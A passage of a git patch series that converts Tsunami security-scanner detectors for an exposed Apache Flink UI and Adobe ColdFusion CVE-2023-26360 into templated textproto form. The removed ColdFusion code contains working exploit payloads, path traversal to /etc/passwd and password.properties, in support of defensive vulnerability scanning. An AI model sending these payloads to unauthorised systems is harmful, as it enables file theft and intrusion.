From 742a02b79ae5a8a2ec068a2c2c960c0f68367eb3 Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Fri, 10 Apr 2026 08:52:05 -0400 Subject: [PATCH 1/4] Converted flink detector to templated --- .../exposedui/apache_flink/README.md | 14 -- .../exposedui/apache_flink/build.gradle | 48 ----- .../exposedui/apache_flink/settings.gradle | 12 -- .../ApacheFlinkExposedUiDetector.java | 154 --------------- ...FlinkExposedUiDetectorBootstrapModule.java | 27 --- .../ApacheFlinkExposedUiDetectorTest.java | 175 ------------------ .../exposedui/ApacheFlink_ExposedUI.textproto | 127 +++++++++++++ .../ApacheFlink_ExposedUI_test.textproto | 74 ++++++++ 8 files changed, 201 insertions(+), 430 deletions(-) delete mode 100644 google/detectors/exposedui/apache_flink/README.md delete mode 100644 google/detectors/exposedui/apache_flink/build.gradle delete mode 100644 google/detectors/exposedui/apache_flink/settings.gradle delete mode 100644 google/detectors/exposedui/apache_flink/src/main/java/com/google/tsunami/plugins/detectors/exposedui/apacheflink/ApacheFlinkExposedUiDetector.java delete mode 100644 google/detectors/exposedui/apache_flink/src/main/java/com/google/tsunami/plugins/detectors/exposedui/apacheflink/ApacheFlinkExposedUiDetectorBootstrapModule.java delete mode 100644 google/detectors/exposedui/apache_flink/src/test/java/com/google/tsunami/plugins/detectors/exposedui/apacheflink/ApacheFlinkExposedUiDetectorTest.java create mode 100644 templated/templateddetector/plugins/exposedui/ApacheFlink_ExposedUI.textproto create mode 100644 templated/templateddetector/plugins/exposedui/ApacheFlink_ExposedUI_test.textproto diff --git a/google/detectors/exposedui/apache_flink/README.md b/google/detectors/exposedui/apache_flink/README.md deleted file mode 100644 index c0032dfe7..000000000 --- a/google/detectors/exposedui/apache_flink/README.md +++ /dev/null @@ -1,14 +0,0 @@ -# Exposed Apache Flink UI Detector - -This detector scans for exposed Apache Flink UI that unauthenticated -attackers can use as a target to submit malicious codes. - -## Build jar file for this plugin - -Using `gradlew`: - -```shell -./gradlew jar -``` - -Tsunami identifiable jar file is located at `build/libs` directory. diff --git a/google/detectors/exposedui/apache_flink/build.gradle b/google/detectors/exposedui/apache_flink/build.gradle deleted file mode 100644 index c68dbe53a..000000000 --- a/google/detectors/exposedui/apache_flink/build.gradle +++ /dev/null @@ -1,48 +0,0 @@ -plugins { - id 'java-library' -} - -description = 'Tsunami VulnDetector plugin for exposed Apache Flink UI.' -group = 'com.google.tsunami' -version = '0.0.1-SNAPSHOT' - -repositories { - maven { // The google mirror is less flaky than mavenCentral() - url 'https://maven-central.storage-download.googleapis.com/repos/central/data/' - } - mavenCentral() - mavenLocal() -} - - - -def coreRepoBranch = System.getenv("GITBRANCH_TSUNAMI_CORE") ?: "stable" -def tcsRepoBranch = System.getenv("GITBRANCH_TSUNAMI_TCS") ?: "stable" - -dependencies { - implementation "com.google.flogger:flogger:0.9" - implementation "com.google.flogger:google-extensions:0.9" - implementation "com.google.flogger:flogger-system-backend:0.9" - implementation "com.google.guava:guava:33.0.0-jre" - implementation "com.google.protobuf:protobuf-java:3.25.5" - implementation "com.google.protobuf:protobuf-javalite:3.25.5" - implementation "com.google.protobuf:protobuf-java-util:3.25.5" - implementation("com.google.tsunami:tsunami-common") { - version { branch = "${coreRepoBranch}" } - } - implementation("com.google.tsunami:tsunami-plugin") { - version { branch = "${coreRepoBranch}" } - } - implementation("com.google.tsunami:tsunami-proto") { - version { branch = "${coreRepoBranch}" } - } - implementation "javax.inject:javax.inject:1" - implementation "org.jsoup:jsoup:1.9.2" - - testImplementation "com.google.truth:truth:1.4.4" - testImplementation "com.google.truth.extensions:truth-java8-extension:1.4.4" - testImplementation "com.google.truth.extensions:truth-proto-extension:1.4.4" - testImplementation "com.squareup.okhttp3:mockwebserver:3.12.0" - testImplementation "junit:junit:4.13.2" - testImplementation "org.mockito:mockito-core:5.18.0" -} diff --git a/google/detectors/exposedui/apache_flink/settings.gradle b/google/detectors/exposedui/apache_flink/settings.gradle deleted file mode 100644 index ea074c236..000000000 --- a/google/detectors/exposedui/apache_flink/settings.gradle +++ /dev/null @@ -1,12 +0,0 @@ -rootProject.name = 'apache_flink_exposed_ui_detector' - -def coreRepository = System.getenv("GITREPO_TSUNAMI_CORE") ?: "https://github.com/google/tsunami-security-scanner.git" -def tcsRepository = System.getenv("GITREPO_TSUNAMI_TCS") ?: "https://github.com/google/tsunami-security-scanner-callback-server.git" - -sourceControl { - gitRepository("${coreRepository}") { - producesModule("com.google.tsunami:tsunami-common") - producesModule("com.google.tsunami:tsunami-plugin") - producesModule("com.google.tsunami:tsunami-proto") - } -} diff --git a/google/detectors/exposedui/apache_flink/src/main/java/com/google/tsunami/plugins/detectors/exposedui/apacheflink/ApacheFlinkExposedUiDetector.java b/google/detectors/exposedui/apache_flink/src/main/java/com/google/tsunami/plugins/detectors/exposedui/apacheflink/ApacheFlinkExposedUiDetector.java deleted file mode 100644 index 455df2a82..000000000 --- a/google/detectors/exposedui/apache_flink/src/main/java/com/google/tsunami/plugins/detectors/exposedui/apacheflink/ApacheFlinkExposedUiDetector.java +++ /dev/null @@ -1,154 +0,0 @@ -/* - * Copyright 2022 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.detectors.exposedui.apacheflink; - -import static com.google.common.base.Preconditions.checkNotNull; -import static com.google.common.collect.ImmutableList.toImmutableList; -import static com.google.tsunami.common.net.http.HttpRequest.get; - -import com.google.common.annotations.VisibleForTesting; -import com.google.common.collect.ImmutableList; -import com.google.common.flogger.GoogleLogger; -import com.google.protobuf.util.Timestamps; -import com.google.tsunami.common.data.NetworkServiceUtils; -import com.google.tsunami.common.net.http.HttpClient; -import com.google.tsunami.common.net.http.HttpResponse; -import com.google.tsunami.common.time.UtcClock; -import com.google.tsunami.plugin.PluginType; -import com.google.tsunami.plugin.VulnDetector; -import com.google.tsunami.plugin.annotations.ForWebService; -import com.google.tsunami.plugin.annotations.PluginInfo; -import com.google.tsunami.proto.DetectionReport; -import com.google.tsunami.proto.DetectionReportList; -import com.google.tsunami.proto.DetectionStatus; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; -import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; -import java.io.IOException; -import java.time.Clock; -import java.time.Instant; -import javax.inject.Inject; -import org.jsoup.Jsoup; -import org.jsoup.select.Elements; - -/** A {@link VulnDetector} that detects unauthenticated Apache Flink. */ -@PluginInfo( - type = PluginType.VULN_DETECTION, - name = "ApacheFlinkExposedUiDetector", - version = "0.1", - description = - "This detector checks whether an unauthenticated Apache Flink UI instance is exposed to" - + " anonymous users from the job submission, /#/submit, endpoint. If exposed, any user" - + " can submit arbitrary jobs, which could result in remote code execution (RCE)", - author = "Tsunami Team (tsunami-dev@google.com)", - bootstrapModule = ApacheFlinkExposedUiDetectorBootstrapModule.class) -@ForWebService -public final class ApacheFlinkExposedUiDetector implements VulnDetector { - private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); - - @VisibleForTesting - static final String FINDING_RECOMMENDATION_TEXT = - "Apache Flink Web UI does not support access control out of the box. Even if the feature to" - + " upload jobs in the Apached Flink Web UI is disabled, the session cluster could still" - + " accept job submission requests via REST calls. Per Apache Flink documentation, we" - + " recommend adding authentication using a REST proxy. See" - + " https://nightlies.apache.org/flink/flink-docs-master/docs/deployment/security/security-ssl/#external--rest-connectivity" - + " and https://github.com/ing-bank/flink-deployer#authentication."; - - private final Clock utcClock; - private final HttpClient httpClient; - - @Inject - ApacheFlinkExposedUiDetector(@UtcClock Clock utcClock, HttpClient httpClient) { - this.utcClock = checkNotNull(utcClock); - this.httpClient = checkNotNull(httpClient).modify().setFollowRedirects(false).build(); - } - - @Override - public ImmutableList getAdvisories() { - return ImmutableList.of( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("APACHE_FLINK_EXPOSED_UI")) - .setSeverity(Severity.CRITICAL) - .setTitle("Apache Flink Exposed Ui") - .setDescription("Apache Flink is not password or token protected") - .setRecommendation(FINDING_RECOMMENDATION_TEXT) - .build()); - } - - @Override - public DetectionReportList detect( - TargetInfo targetInfo, ImmutableList matchedServices) { - logger.atInfo().log("ApacheFlinkExposedUiDetector starts detecting."); - - return DetectionReportList.newBuilder() - .addAllDetectionReports( - matchedServices.stream() - .filter(NetworkServiceUtils::isWebService) - .filter(this::isServiceVulnerable) - .map(networkService -> buildDetectionReport(targetInfo, networkService)) - .collect(toImmutableList())) - .build(); - } - - private boolean isServiceVulnerable(NetworkService networkService) { - String targetUri = NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + "#/submit"; - try { - HttpResponse response = - httpClient.send(get(targetUri).withEmptyHeaders().build(), networkService); - return response.status().isSuccess() - && response - .bodyString() - .map(body -> body.contains("Apache Flink Web") && bodyContainsFlinkSubmit(body)) - // orElse fix operand types error as bodyString() type is Optional - .orElse(false); - } catch (IOException e) { - logger.atWarning().withCause(e).log("Unable to query '%s'.", targetUri); - return false; - } - } - - private static boolean bodyContainsFlinkSubmit(String responseBody) { - // An unauthenticated Apache Flink UI instance will display a flink-submit custom element - // enabling anonymous users to submit malicious codes from the /#/submit endpoint. - Elements flinkSubmit = Jsoup.parse(responseBody).select("flink-submit"); - if (flinkSubmit.isEmpty()) { - logger.atInfo().log("Apache Flink UI does not allow creating new jobs as anonymous user."); - return false; - } else { - logger.atInfo().log( - "Apache Flink UI allows creating new jobs as anonymous user, enabling" - + " remote code execution!"); - return true; - } - } - - private DetectionReport buildDetectionReport( - TargetInfo scannedTarget, NetworkService vulnerableNetworkService) { - return DetectionReport.newBuilder() - .setTargetInfo(scannedTarget) - .setNetworkService(vulnerableNetworkService) - .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) - .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability(this.getAdvisories().get(0)) - .build(); - } -} diff --git a/google/detectors/exposedui/apache_flink/src/main/java/com/google/tsunami/plugins/detectors/exposedui/apacheflink/ApacheFlinkExposedUiDetectorBootstrapModule.java b/google/detectors/exposedui/apache_flink/src/main/java/com/google/tsunami/plugins/detectors/exposedui/apacheflink/ApacheFlinkExposedUiDetectorBootstrapModule.java deleted file mode 100644 index bd7edacd1..000000000 --- a/google/detectors/exposedui/apache_flink/src/main/java/com/google/tsunami/plugins/detectors/exposedui/apacheflink/ApacheFlinkExposedUiDetectorBootstrapModule.java +++ /dev/null @@ -1,27 +0,0 @@ -/* - * Copyright 2022 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.detectors.exposedui.apacheflink; - -import com.google.tsunami.plugin.PluginBootstrapModule; - -/** A {@link PluginBootstrapModule} for {@link ApacheFlinkExposedUiDetector}. */ -public final class ApacheFlinkExposedUiDetectorBootstrapModule extends PluginBootstrapModule { - - @Override - protected void configurePlugin() { - registerPlugin(ApacheFlinkExposedUiDetector.class); - } -} diff --git a/google/detectors/exposedui/apache_flink/src/test/java/com/google/tsunami/plugins/detectors/exposedui/apacheflink/ApacheFlinkExposedUiDetectorTest.java b/google/detectors/exposedui/apache_flink/src/test/java/com/google/tsunami/plugins/detectors/exposedui/apacheflink/ApacheFlinkExposedUiDetectorTest.java deleted file mode 100644 index 302364ca6..000000000 --- a/google/detectors/exposedui/apache_flink/src/test/java/com/google/tsunami/plugins/detectors/exposedui/apacheflink/ApacheFlinkExposedUiDetectorTest.java +++ /dev/null @@ -1,175 +0,0 @@ -/* - * Copyright 2022 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.detectors.exposedui.apacheflink; - -import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat; -import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostname; -import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; - -import com.google.common.collect.ImmutableList; -import com.google.inject.Guice; -import com.google.protobuf.util.Timestamps; -import com.google.tsunami.common.net.http.HttpClientModule; -import com.google.tsunami.common.net.http.HttpStatus; -import com.google.tsunami.common.time.testing.FakeUtcClock; -import com.google.tsunami.common.time.testing.FakeUtcClockModule; -import com.google.tsunami.proto.DetectionReport; -import com.google.tsunami.proto.DetectionStatus; -import com.google.tsunami.proto.NetworkEndpoint; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Software; -import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.TransportProtocol; -import java.io.IOException; -import java.time.Instant; -import javax.inject.Inject; -import okhttp3.mockwebserver.MockResponse; -import okhttp3.mockwebserver.MockWebServer; -import org.junit.After; -import org.junit.Before; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** Unit tests for {@link ApacheFlinkExposedUiDetector}. */ -@RunWith(JUnit4.class) -public final class ApacheFlinkExposedUiDetectorTest { - private final FakeUtcClock fakeUtcClock = - FakeUtcClock.create().setNow(Instant.parse("2020-01-01T00:00:00.00Z")); - - private MockWebServer mockWebServer; - - @Inject private ApacheFlinkExposedUiDetector detector; - - @Before - public void setUp() { - mockWebServer = new MockWebServer(); - - Guice.createInjector( - new FakeUtcClockModule(fakeUtcClock), - new HttpClientModule.Builder().build(), - new ApacheFlinkExposedUiDetectorBootstrapModule()) - .injectMembers(this); - } - - @After - public void tearDown() throws IOException { - mockWebServer.shutdown(); - } - - @Test - public void detect_whenApacheFlinkDoesNotRequireAuthentication_reportsVuln() throws IOException { - startMockWebServer("/#/submit", HttpStatus.OK.code(), fakeApacheFlinkPage()); - ImmutableList httpServices = createService("Apache Flink"); - - assertThat( - detector - .detect(buildTargetInfo(forHostname(mockWebServer.getHostName())), httpServices) - .getDetectionReportsList()) - .containsExactly( - DetectionReport.newBuilder() - .setTargetInfo(buildTargetInfo(forHostname(mockWebServer.getHostName()))) - .setNetworkService(httpServices.get(0)) - .setDetectionTimestamp( - Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) - .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability(detector.getAdvisories().get(0)) - .build()); - } - - @Test - public void detect_whenApacheFlinkRedirectsToLoginPage_doesNotReportVuln() throws IOException { - startMockWebServer("/#/submit", HttpStatus.FOUND.code(), "Fake Apache Flink login page."); - ImmutableList httpServices = createService("Apache Flink"); - assertThat( - detector - .detect(buildTargetInfo(forHostname(mockWebServer.getHostName())), httpServices) - .getDetectionReportsList()) - .isEmpty(); - } - - @Test - public void detect_whenApacheFlinkDisablesSubmitFeature_doesNotReportVuln() throws IOException { - startMockWebServer("/#/submit", HttpStatus.OK.code(), "Apache Flink Web"); - ImmutableList httpServices = createService("Apache Flink"); - assertThat( - detector - .detect(buildTargetInfo(forHostname(mockWebServer.getHostName())), httpServices) - .getDetectionReportsList()) - .isEmpty(); - } - - @Test - public void detect_whenNotApacheFlink_ignoresServices() throws IOException { - startMockWebServer("/#/submit", HttpStatus.OK.code(), "I am Jenkins"); - ImmutableList httpServices = createService("Jenkins"); - assertThat( - detector - .detect(buildTargetInfo(forHostname(mockWebServer.getHostName())), httpServices) - .getDetectionReportsList()) - .isEmpty(); - } - - @Test - public void detect_whenNonHttpNetworkService_ignoresServices() { - ImmutableList nonHttpServices = - ImmutableList.of( - NetworkService.newBuilder().setServiceName("ssh").build(), - NetworkService.newBuilder().setServiceName("rdp").build()); - assertThat( - detector - .detect(buildTargetInfo(forHostname(mockWebServer.getHostName())), nonHttpServices) - .getDetectionReportsList()) - .isEmpty(); - } - - @Test - public void detect_whenEmptyNetworkService_generatesEmptyDetectionReports() { - assertThat( - detector - .detect( - buildTargetInfo(forHostname(mockWebServer.getHostName())), ImmutableList.of()) - .getDetectionReportsList()) - .isEmpty(); - } - - private ImmutableList createService(String serviceName) { - return ImmutableList.of( - NetworkService.newBuilder() - .setNetworkEndpoint( - forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) - .setTransportProtocol(TransportProtocol.TCP) - .setSoftware(Software.newBuilder().setName(serviceName)) - .setServiceName("http") - .build()); - } - - private void startMockWebServer(String url, int responseCode, String response) - throws IOException { - mockWebServer.enqueue(new MockResponse().setResponseCode(responseCode).setBody(response)); - mockWebServer.start(); - mockWebServer.url(url); - } - - private String fakeApacheFlinkPage() { - return "Apache Flink Web Dashboard" - + ""; - } - - private static TargetInfo buildTargetInfo(NetworkEndpoint networkEndpoint) { - return TargetInfo.newBuilder().addNetworkEndpoints(networkEndpoint).build(); - } -} diff --git a/templated/templateddetector/plugins/exposedui/ApacheFlink_ExposedUI.textproto b/templated/templateddetector/plugins/exposedui/ApacheFlink_ExposedUI.textproto new file mode 100644 index 000000000..2d2b89608 --- /dev/null +++ b/templated/templateddetector/plugins/exposedui/ApacheFlink_ExposedUI.textproto @@ -0,0 +1,127 @@ +# proto-file: proto/templated_plugin.proto +# proto-message: TemplatedPlugin + +############### +# PLUGIN INFO # +############### + +info: { + type: VULN_DETECTION + name: "ApacheFlink_ExposedUI" + author: "Robert Dick (robert@doyensec.com) templated version " + "(containing some modifications from the original Java version), " + "Tsunami Team (tsunami-dev@google.com) for original Java version. " + + version: "0.2" +} + +finding: { + main_id: { + publisher: "GOOGLE" + value: "APACHE_FLINK_EXPOSED_UI" + } + title: "Exposed Apache Flink instance" + description: "Apache Flink is not password or token protected." + recommendation: + "Apache Flink Web UI does not support access control out of the box. Even if the feature to" + " upload jobs in the Apached Flink Web UI is disabled, the session cluster could still" + " accept job submission requests via REST calls. Per Apache Flink documentation, we" + " recommend adding authentication using a REST proxy. See" + " https://nightlies.apache.org/flink/flink-docs-master/docs/deployment/security/security-ssl/#external--rest-connectivity" + " and https://github.com/ing-bank/flink-deployer#authentication." + severity: CRITICAL +} + +########### +# ACTIONS # +########### + +# Performs fingerprinting for Apache Flink before attempting the JAR upload + +actions: { + name: "fingerprint_flink" + http_request: { + method: GET + uri: "/" + response: { + http_status: 200 + expect_all: { + conditions: [ + { body: {} contains: "Apache Flink Web" }, + { body: {} contains: "" + }, + { + uri: "/jars/upload" + status: 200 + body_content: "{\"filename\":" + "\"/tmp/flink-web-73493f68-69aa-49ca-a462-378fde7e3bc4/flink-web-upload/" + "ecb336e5-66d6-440b-9d5b-ea50946c3811_myfile.jar\"," + "\"status\":\"success\"}" + }, + { + uri: "TSUNAMI_MAGIC_ANY_URI" + status: 200 + body_content: "{}" + } + ] + } +} + +tests: { + name: "whenNotApacheFlink_returnsNoVuln" + expect_vulnerability: false + + mock_http_server: { + mock_responses: [ + { + uri: "TSUNAMI_MAGIC_ANY_URI" + status: 200 + body_content: "not flink" + } + ] + } +} + +tests: { + name: "whenFailedUpload_returnsNoVuln" + expect_vulnerability: false + + mock_http_server: { + mock_responses: [ + { + uri: "/" + status: 200 + body_content: "... Apache Flink Web ... " + }, + { + uri: "/jars/upload" + status: 401 + body_content: "Requires Authentication" + }, + { + uri: "TSUNAMI_MAGIC_ANY_URI" + status: 200 + body_content: "Anything here..." + } + ] + } +} From 3af1a1fff4d49ac408710ca18f1566a7f80682e8 Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Fri, 10 Apr 2026 09:05:04 -0400 Subject: [PATCH 2/4] removed debug mode --- .../plugins/exposedui/ApacheFlink_ExposedUI.textproto | 9 --------- 1 file changed, 9 deletions(-) diff --git a/templated/templateddetector/plugins/exposedui/ApacheFlink_ExposedUI.textproto b/templated/templateddetector/plugins/exposedui/ApacheFlink_ExposedUI.textproto index 2d2b89608..78bf3670c 100644 --- a/templated/templateddetector/plugins/exposedui/ApacheFlink_ExposedUI.textproto +++ b/templated/templateddetector/plugins/exposedui/ApacheFlink_ExposedUI.textproto @@ -106,11 +106,6 @@ actions: { } } - - - - - ############# # WORKFLOWS # ############# @@ -121,7 +116,3 @@ workflows: { "upload_jar" ] } - -config: { - debug: true -} \ No newline at end of file From 87855bf2eef6ea78124de063013a554abe946ff0 Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Fri, 17 Apr 2026 07:46:25 -0400 Subject: [PATCH 3/4] replaced adobe coldfusion cve-2023-26360 with templated --- .../adobe_coldfusion_cve_2023_26360/README.md | 20 --- .../build.gradle | 40 ----- .../settings.gradle | 12 -- .../cve202326360/Cve202326360Detector.java | 164 ------------------ .../Cve202326360DetectorBootstrapModule.java | 27 --- .../Cve202326360DetectorTest.java | 125 ------------- .../Adobe_ColdFusion_CVE_2023_26360.textproto | 156 +++++++++++++++++ ...e_ColdFusion_CVE_2023_26360_test.textproto | 31 ++++ 8 files changed, 187 insertions(+), 388 deletions(-) delete mode 100644 community/detectors/adobe_coldfusion_cve_2023_26360/README.md delete mode 100644 community/detectors/adobe_coldfusion_cve_2023_26360/build.gradle delete mode 100644 community/detectors/adobe_coldfusion_cve_2023_26360/settings.gradle delete mode 100644 community/detectors/adobe_coldfusion_cve_2023_26360/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202326360/Cve202326360Detector.java delete mode 100644 community/detectors/adobe_coldfusion_cve_2023_26360/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202326360/Cve202326360DetectorBootstrapModule.java delete mode 100644 community/detectors/adobe_coldfusion_cve_2023_26360/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202326360/Cve202326360DetectorTest.java create mode 100644 templated/templateddetector/plugins/cve/2023/Adobe_ColdFusion_CVE_2023_26360.textproto create mode 100644 templated/templateddetector/plugins/cve/2023/Adobe_ColdFusion_CVE_2023_26360_test.textproto diff --git a/community/detectors/adobe_coldfusion_cve_2023_26360/README.md b/community/detectors/adobe_coldfusion_cve_2023_26360/README.md deleted file mode 100644 index bf993ab6b..000000000 --- a/community/detectors/adobe_coldfusion_cve_2023_26360/README.md +++ /dev/null @@ -1,20 +0,0 @@ -# CVE-2023-26360 Detector - -Description: Adobe ColdFusion versions 2018 Update 15 (and earlier) and 2021 -Update 5 (and earlier) are affected by an Improper Access Control vulnerability -that could result in unauthenticated file read and arbitrary code execution in -the context of the current user. Exploitation of this issue does not require -user interaction. - -- https://nvd.nist.gov/vuln/detail/CVE-2023-26360 -- https://helpx.adobe.com/security/products/coldfusion/apsb23-25.html - -## Build jar file for this plugin - -Using `gradlew`: - -```shell -./gradlew jar -``` - -Tsunami identifiable jar file is located at `build/libs` directory. diff --git a/community/detectors/adobe_coldfusion_cve_2023_26360/build.gradle b/community/detectors/adobe_coldfusion_cve_2023_26360/build.gradle deleted file mode 100644 index 3a9bcde52..000000000 --- a/community/detectors/adobe_coldfusion_cve_2023_26360/build.gradle +++ /dev/null @@ -1,40 +0,0 @@ -plugins { - id 'java-library' -} - -description = 'Tsunami CVE-2023-26360 VulnDetector plugin.' -group 'com.google.tsunami' -version '0.0.1-SNAPSHOT' - - -repositories { - maven { // The google mirror is less flaky than mavenCentral() - url 'https://maven-central.storage-download.googleapis.com/repos/central/data/' - } - mavenCentral() - mavenLocal() -} - - - -def coreRepoBranch = System.getenv("GITBRANCH_TSUNAMI_CORE") ?: "stable" -def tcsRepoBranch = System.getenv("GITBRANCH_TSUNAMI_TCS") ?: "stable" - -dependencies { - implementation("com.google.tsunami:tsunami-common") { - version { branch = "${coreRepoBranch}" } - } - implementation("com.google.tsunami:tsunami-plugin") { - version { branch = "${coreRepoBranch}" } - } - implementation("com.google.tsunami:tsunami-proto") { - version { branch = "${coreRepoBranch}" } - } - - testImplementation "junit:junit:4.13.2" - testImplementation "org.mockito:mockito-core:5.18.0" - testImplementation "com.google.truth:truth:1.4.4" - testImplementation "com.squareup.okhttp3:mockwebserver:3.12.0" - testImplementation "com.google.truth.extensions:truth-java8-extension:1.4.4" - testImplementation "com.google.truth.extensions:truth-proto-extension:1.4.4" -} diff --git a/community/detectors/adobe_coldfusion_cve_2023_26360/settings.gradle b/community/detectors/adobe_coldfusion_cve_2023_26360/settings.gradle deleted file mode 100644 index 9d824056e..000000000 --- a/community/detectors/adobe_coldfusion_cve_2023_26360/settings.gradle +++ /dev/null @@ -1,12 +0,0 @@ -rootProject.name = 'CVE-2023-26360' - -def coreRepository = System.getenv("GITREPO_TSUNAMI_CORE") ?: "https://github.com/google/tsunami-security-scanner.git" -def tcsRepository = System.getenv("GITREPO_TSUNAMI_TCS") ?: "https://github.com/google/tsunami-security-scanner-callback-server.git" - -sourceControl { - gitRepository("${coreRepository}") { - producesModule("com.google.tsunami:tsunami-common") - producesModule("com.google.tsunami:tsunami-plugin") - producesModule("com.google.tsunami:tsunami-proto") - } -} diff --git a/community/detectors/adobe_coldfusion_cve_2023_26360/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202326360/Cve202326360Detector.java b/community/detectors/adobe_coldfusion_cve_2023_26360/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202326360/Cve202326360Detector.java deleted file mode 100644 index 7c2eb55f8..000000000 --- a/community/detectors/adobe_coldfusion_cve_2023_26360/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202326360/Cve202326360Detector.java +++ /dev/null @@ -1,164 +0,0 @@ -/* - * Copyright 2023 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.detectors.cves.cve202326360; - -import static com.google.common.base.Preconditions.checkNotNull; -import static com.google.common.collect.ImmutableList.toImmutableList; -import static com.google.common.net.HttpHeaders.CONTENT_TYPE; -import static com.google.tsunami.common.data.NetworkServiceUtils.buildWebApplicationRootUrl; -import static com.google.tsunami.common.net.http.HttpRequest.post; - -import com.google.common.collect.ImmutableList; -import com.google.common.flogger.GoogleLogger; -import com.google.protobuf.ByteString; -import com.google.protobuf.util.Timestamps; -import com.google.tsunami.common.data.NetworkServiceUtils; -import com.google.tsunami.common.net.http.HttpClient; -import com.google.tsunami.common.net.http.HttpHeaders; -import com.google.tsunami.common.net.http.HttpResponse; -import com.google.tsunami.common.time.UtcClock; -import com.google.tsunami.plugin.PluginType; -import com.google.tsunami.plugin.VulnDetector; -import com.google.tsunami.plugin.annotations.PluginInfo; -import com.google.tsunami.proto.DetectionReport; -import com.google.tsunami.proto.DetectionReportList; -import com.google.tsunami.proto.DetectionStatus; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; -import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; -import java.time.Clock; -import java.time.Instant; -import java.util.regex.Pattern; -import javax.inject.Inject; - -/** A {@link VulnDetector} that detects the CVE-2023-26360. */ -@PluginInfo( - type = PluginType.VULN_DETECTION, - name = "Cve202326360VulnDetector", - version = "1.0", - description = "This detector checks for Adobe ColdFusion CVE-2023-26360 vulnerability", - author = "jimmy-ly00", - bootstrapModule = Cve202326360DetectorBootstrapModule.class) -public final class Cve202326360Detector implements VulnDetector { - private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); - private static final ImmutableList VULNERABLE_REQUEST_PATHS = - ImmutableList.of( - "cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx", - "CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx"); - - /** Windows */ - private static final String VULNERABLE_REQUEST_BODY_WINDOWS = - "_variables={\"_metadata\":{\"classname\":\"i/../lib/password.properties\"},\"_variables\":[]}"; - - /** Linux */ - private static final String VULNERABLE_REQUEST_BODY_LINUX = - "_variables={\"_metadata\":{\"classname\":\"../../../../../../../../etc/passwd\"}}"; - - private static final ImmutableList VULNERABLE_REQUEST_BODY_ALL = - ImmutableList.of(VULNERABLE_REQUEST_BODY_WINDOWS, VULNERABLE_REQUEST_BODY_LINUX); - - private static final Pattern VULNERABLE_RESPONSE_PATTERN = - Pattern.compile("root:[x*]:0:0:"); - - private final HttpClient httpClient; - private final Clock utcClock; - - @Inject - Cve202326360Detector(@UtcClock Clock utcClock, HttpClient httpClient) { - this.httpClient = checkNotNull(httpClient); - this.utcClock = checkNotNull(utcClock); - } - - @Override - public ImmutableList getAdvisories() { - return ImmutableList.of( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2023_26360")) - .addRelatedId( - VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2023-26360")) - .setSeverity(Severity.CRITICAL) - 